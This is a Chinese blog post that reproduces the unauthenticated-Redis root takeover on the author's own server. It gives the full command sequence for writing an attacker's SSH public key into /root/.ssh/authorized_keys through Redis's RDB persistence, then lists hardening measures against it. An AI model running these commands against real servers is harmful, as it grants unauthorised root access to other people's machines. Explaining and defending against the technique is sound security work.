前言
我在云服务上安过两次redis
,每次都被提示攻击他人。(我是好人怎么可能会干坏事呢
) 所以我的服务器肯定被人入侵了,因为是个人服务器没什么重要东西端口是常年开放的也没有开启白名单防火墙,最重要的是密码都不设。怪不得天天被入侵,下面进行一下复现。
原理
登陆linux
有几种方式,最常用的是密码登陆
和RSA key 登陆
,RSA key
登陆是生成一个公私对应的秘钥,然后将公钥放到linux
系统的/root/.ssh/authorized_keys
的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key
的登陆方式。
但是为什么redis
可以获取服务器的root
权限呢?
上面RSA key
的登陆方式在服务器方面是要将公钥写入authorized_keys
文件中的,而redis
有一种持久化方式是生成RDB文件,通过持久化将公钥写入root
下的authored_keys
文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录
)
生成RSA key
先生成一个已知公私钥的RSA key
,在一台可以登陆的服务器,执行以下命令:
ssh-keygen -t rsa
执行完会生成下图两个文件
id_rsa
是私钥,登陆客户端使用的;
id_rsa.pub
是公钥,放到服务器端上的;
可以先验证一下通过这两个密钥是否可以登陆服务器,将id_rsa.pub
文件移动到/root/.ssh
文件夹下
cp id_rsa.pub /root/.ssh/
然后执行以下命令,公钥就写入了authorized_keys
文件
cat id_rsa.pub >>authorized_keys
这里使用公钥方式进行登陆验证,验证通过后将这两个文件保存一下,在后面会用到。
安装redis
在模拟被入侵的服务器上使用root
用户安装redis
并开启远程访问,如果需要安装redis的教程可以看这篇文章:Linux在线安装redis
通过redis
获取Root
权限
我们在并不知道linux
的账密的情况下是无法登陆linux
的,但是我们可以尝试进入root
安装的redis
中,先进入命令行
上面的原理中讲过了redis
有一种持久化方式是生成RDB
文件,其中会包含原始数据,我们将我们的公钥通过redis
放到服务器中,这样我们就可以通过私钥进行root
账号的登陆了。
增加换行
给id_rsa.pub
文件前后增加空格,否则redis
持久化会带有一些其他内容不区分开公钥识别会失败,执行以下命令
(echo -e 'nn'; cat id_rsa.pub; echo -e 'nn') > mykey.pub
得到的mykey.pub文件会进行RDB持久化
写入redis
将上面生成的mykey.pub
文件写入到redis
中,执行如下命令:
cat mykey.pub | ./redis-cli -h 111.229.209.244 -p 6379 -x set crackit
去redis
中验证值是否存在
持久化
到这里就是最重要的一步了,将我们写入的内容持久化到/root/.ssh/authorized_keys
文件中,这一步需要redis
是root
权限启动才能操作,否则操作不了这个文件。
选择持久化的地址
代码语言:javascript复制// 选择持久化的地址
config set dir /root/.ssh
// 设置持久化文件的文件名称
config set dbfilename authorized_keys
// 保存操作
save
验证
通过公钥的方式进行连接,导入我们的私钥文件
如下图,登陆成功
看一下authorized_keys
文件
中间一段就是我们传进来的公钥
,如果不加空格跟其他内容混淆到一块可能就无法对应上秘钥
了,到此我们获得了root
权限,那想干什么都可以了,下面来聊聊怎么防护这个问题。
防护
这种入侵方式有几大必要因素
网络互通或公网访问
默认端口
没有防火墙或白名单
没有密码或者密码简单
使用root用户启动
上述问题是造成被获得root账号的最主要的问题,只要其中一到两项不满足条件被入侵的可能就大大降低,所以根据上面的因素可以做出一下几个防护方案:
- 关闭公网访问
- 设置防火墙
- 修改默认端口
- 设置复杂密码
- 使用非**
root用
**户启动**redis
** - 使用新版本**
redis
**
非公网访问能杜绝绝大部分的恶意攻击,设置防火墙跟白名单就杜绝了99%
外网的恶意攻击了,将默认端口修改为自定义端口可以让人找不到redis服务。设置密码也是必不可少的。
如果使用非root
用户启动redis
就100%
杜绝这个方式的入侵,因为它需要修改root
目录下的公钥文件
使用新版本redis
默认不允许没有密码的操作,所以可以避免一下。